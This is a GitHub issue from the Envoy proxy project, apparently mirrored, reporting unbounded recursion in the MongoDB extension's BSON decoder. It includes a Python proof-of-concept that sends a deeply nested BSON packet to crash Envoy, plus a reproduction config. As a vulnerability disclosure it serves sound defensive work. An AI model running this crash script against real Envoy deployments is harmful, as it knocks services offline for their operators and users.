envoyproxy/envoy

Excessive recursion in MongoDB extension may lead to crash

Open

#19.979 aperta il 16 feb 2022

Vedi su GitHub
 (2 commenti) (0 reazioni) (0 assegnatari)C++ (5373 fork)batch import
area/mongodbbughelp wanted

Metriche repository

Star
 (27.997 star)
Metriche merge PR
 (Merge medio 8g) (378 PR mergiate in 30 g)

Descrizione

Title: Excessive recursion in MongoDB extension may lead to crash

Description: Clarification - This is reported here and not to the "envoy-security" mailing group, per the request of that mailing group, since the MongoDB extension is outside of the security threat scope.

The DecoderImpl::fromBuffer function in bson_impl.cc parses BSON buffers into structures representing them. The code reads the byte that represents the type of the next element of the message and then creates the structure that represents this type and adds it to its parent element. Some of the elements are decoded by the same DecoderImpl::fromBuffer itself, such as the Document element, causing a recursion. Since there is no code that checks the recursion depth, it is possible to make the code recurse again and again (even when parsing a relatively small packet) until the stack is exhausted and the process crashes.

Repro steps:

  1. Configure envoy with the configuration specified in the Config section
  2. Run the following Python script - (Script assumes Envoy on 192.168.188.133:10000, Script may need to be executed several times before causing a crash)
from socket import *
import struct
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.188.133", 10000))  # Change to Envoy IP address
 
inner_data = '\x03a\x00'
my_data = '\x07\x00\x00\x00\x03a\x00'
 
for i in range(6000):
    my_data = struct.pack("<I", 7*(i+2)) + inner_data + my_data
 
print repr(my_data)
 
buf = '<\x00\x00\x00\x00\x00\x00\x00\xd2\x07\x00\x00\x00\x00\x00\x00admin.$cmd\x00' + \
    my_data
 
length = struct.pack("<I", len(buf))
 
s.send(length + buf)
 
print(s.recv(1024))

Config:

static_resources:
  listeners:
  - address:
      socket_address:
        address: 0.0.0.0
        port_value: 10000
    filter_chains:
    - filters:
      - name: envoy.extensions.filters.network.mongo_proxy.v3.MongoProxy
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.mongo_proxy.v3.MongoProxy
          stat_prefix: "abc"
          access_log: "/tmp/mongoaccess.log"
          commands:
          - "delete"
          - "insert"
          - "update"
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          path_with_escaped_slashes_action: UNESCAPE_AND_FORWARD
          merge_slashes: true
          codec_type: AUTO
          strip_trailing_host_dot: true
          strip_any_host_port: true
          stat_prefix: ingress_http
          route_config:
            name: local_route
            virtual_hosts:
            - name: app
              domains:
              - "*"
              routes:
              - match:
                  prefix: "/"
                route:
                  cluster: service-http
          http_filters:
          - name: envoy.filters.http.router
 
 
  clusters:
  - name: service-http
    type: STRICT_DNS
    lb_policy: ROUND_ROBIN
    load_assignment:
      cluster_name: service-http
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: 127.0.0.1
                port_value: 4567

Guida contributor